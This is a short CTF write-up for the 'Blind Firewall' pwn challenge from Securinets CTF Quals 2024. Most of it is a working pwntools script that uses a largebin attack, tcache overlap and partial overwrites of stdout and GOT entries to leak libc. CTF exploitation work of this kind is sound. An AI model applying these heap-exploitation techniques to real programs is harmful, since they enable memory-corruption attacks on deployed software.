Logo xia0o0o0o

Securinets CTF Quals 2024: Blind Firewall

October 17, 2024
3 min read

During our participation in the Securinets CTF Quals 2024 with r3kapig last weekend, we encountered a pwnable challenge. I developed an exploit with an initial success rate of just under 1/4096, but we struggled to exploit it remotely. After refining the exploit, I was able to increase the success rate to 1/256.

The exploit targets stdout and the GOT table. Below is a working script for leaking the libc address.

Once we obtain the libc address, the rest becomes straightforward since we already have a pointer to the GOT table.

from pwn import *
 
context.terminal = ['tmux', 'splitw', '-h']
tob = lambda x: str(x).encode()
 
sh = process("./main")
 
def add_rule(idx, size):
    sh.sendline(b'1')
    sh.sendline(tob(idx))
    sh.sendline(tob(size))
 
def edit_rule(idx, data):
    sh.sendline(b'2')
    sh.sendline(tob(idx))
    sh.send(data)
 
def delete_rule(idx):
    sh.sendline(b'3')
    sh.sendline(tob(idx))
 
def copy_rule(idx1, idx2):
    sh.sendline(b'5')
    sh.sendline(tob(idx1))
    sh.sendline(tob(idx2))
 
def link_rule(idx1, idx2):
    sh.sendline(b'6')
    sh.sendline(tob(idx1))
    sh.sendline(tob(idx2))
 
def setup_in_data(idx, data):
    sh.sendline(b'7')
    sh.sendline(tob(idx))
    sh.send(data)
 
def setup_out_data(idx, data):
    sh.sendline(b'8')
    sh.sendline(tob(idx))
    sh.send(data)
 
def pause_shit_for_a_while(t=0.1):
    sleep(t)
    
sh.recvuntil(b'Your ID: ')
_id = int(sh.recvuntil(b'\n', drop=True))
log.success("id: "+hex(_id))
 
add_rule(0, 0x520)
add_rule(1, 0x550)
add_rule(2, 0x520)
add_rule(3, 0x520)
add_rule(4, 0x580)
add_rule(5, 0x510)
 
add_rule(6, 0x560)
 
add_rule(7, 0x600)
 
add_rule(8, 0x560)
 
add_rule(9, 0x520)
 
delete_rule(2)
add_rule(6, 0x800)
 
delete_rule(5)
add_rule(5, 0x510)
setup_in_data(5, p16(0xffff&((0x93c8+(_id<<12))-0x20))) # perform largebin attack, 1/16
pause_shit_for_a_while()
sh.send(b'\xe0')
pause_shit_for_a_while()
 
link_rule(5, 2)
 
delete_rule(5)
 
delete_rule(7)
 
add_rule(6, 0x800)
 
delete_rule(0)
 
edit_rule(0, b'a'*0x58+p64(0x551)+p64(0)+p8(0xf0))  # point the fake tcache entry to the heap => overlap
pause_shit_for_a_while()
 
add_rule(6, 0x520)
pause_shit_for_a_while()
delete_rule(4)
pause_shit_for_a_while()
link_rule(7, 6)
 
pause_shit_for_a_while()
 
edit_rule(0, b'a'*0x48)
 
pause_shit_for_a_while()
 
setup_out_data(6, b'a'*8+p16(0xffff&(0xa840+(_id<<12))))   # 1/16, some interesting things after stdout
 
pause_shit_for_a_while()
 
copy_rule(0, 6)
 
pause_shit_for_a_while()
 
add_rule(9, 0x580)
 
edit_rule(9, b'a'*0x18)
 
pause_shit_for_a_while()
 
for i in range(4):
    setup_in_data(3, p64(0)*2)
    log.info(f"Round {i}")
    pause_shit_for_a_while()
    delete_rule(3)
 
copy_rule(9, 6)
 
pause_shit_for_a_while()
 
log.info("allocate to __nptl_rtld_global")
add_rule(9, 0x520)
pause_shit_for_a_while()
 
link_rule(9, 6)
 
pause_shit_for_a_while()
setup_in_data(4, p64(0)*2)
pause_shit_for_a_while()
delete_rule(4)
 
pause_shit_for_a_while()
 
copy_rule(0, 6)
 
pause_shit_for_a_while()
log.info("allocate to ld.so")
add_rule(9, 0x580)
 
pause_shit_for_a_while()
link_rule(9, 6)
pause_shit_for_a_while()
 
log.info("partially overwrite to get rules[]")
edit_rule(0, b'a'*0x48+p16(0x8140)) # 1/16 rules[]
pause_shit_for_a_while()
setup_in_data(4, p64(0)*2)
pause_shit_for_a_while()
delete_rule(4)
pause_shit_for_a_while()
copy_rule(0, 6)
 
pause_shit_for_a_while()
log.info("allocate to rules[]")
 
add_rule(9, 0x580)
 
pause_shit_for_a_while()
 
log.info("partially overwrite to stdout")
link_rule(7, 6)
pause_shit_for_a_while()
setup_out_data(6, p64(0x1122334455667788)+p16((0xa780+(_id<<12))&0xffff))   # stdout, if we hit 
pause_shit_for_a_while()                                                    # the ld address previously
                                                                            # this will also hit stdout
setup_in_data(4, p64(0)*2)
pause_shit_for_a_while()
delete_rule(4)
pause_shit_for_a_while()
copy_rule(0, 6)
 
add_rule(2, 0x580)
pause_shit_for_a_while()
edit_rule(2, p16((0xa780+(_id<<12))&0xffff))#b'\x80\xa7')
pause_shit_for_a_while()
 
sh.sendline(b'8')
sh.sendline(tob(9))
 
sh.send(p16(0x8058))                    # exit@got, actually if we hit the rules[]
pause_shit_for_a_while(t=1)             # this will also hit got entry of exit
sh.send(p16(0x5863))
 
pause_shit_for_a_while()
sh.sendline(b'7')
pause_shit_for_a_while()
sh.sendline(tob(9))
pause_shit_for_a_while()
sh.send(p16(0x5953))                    # main, 1/16
 
pause_shit_for_a_while(t=1)
sh.send(p64(0))
 
pause_shit_for_a_while()
setup_in_data(2, p64(0xfbad1803)+p64(0))
pause_shit_for_a_while()
setup_out_data(2, p64(0xffffffffffffff)*2)
 
context.log_level = 'debug'
sh.sendline(b'9')
 
libcbase = 0
for i in range(6):
    libcbase = u64(sh.recv(8))
    log.success(hex(libcbase))
libcbase -= 0x21a803
log.success("libcbase: "+hex(libcbase))
 
gdb.attach(sh)
 
sh.interactive()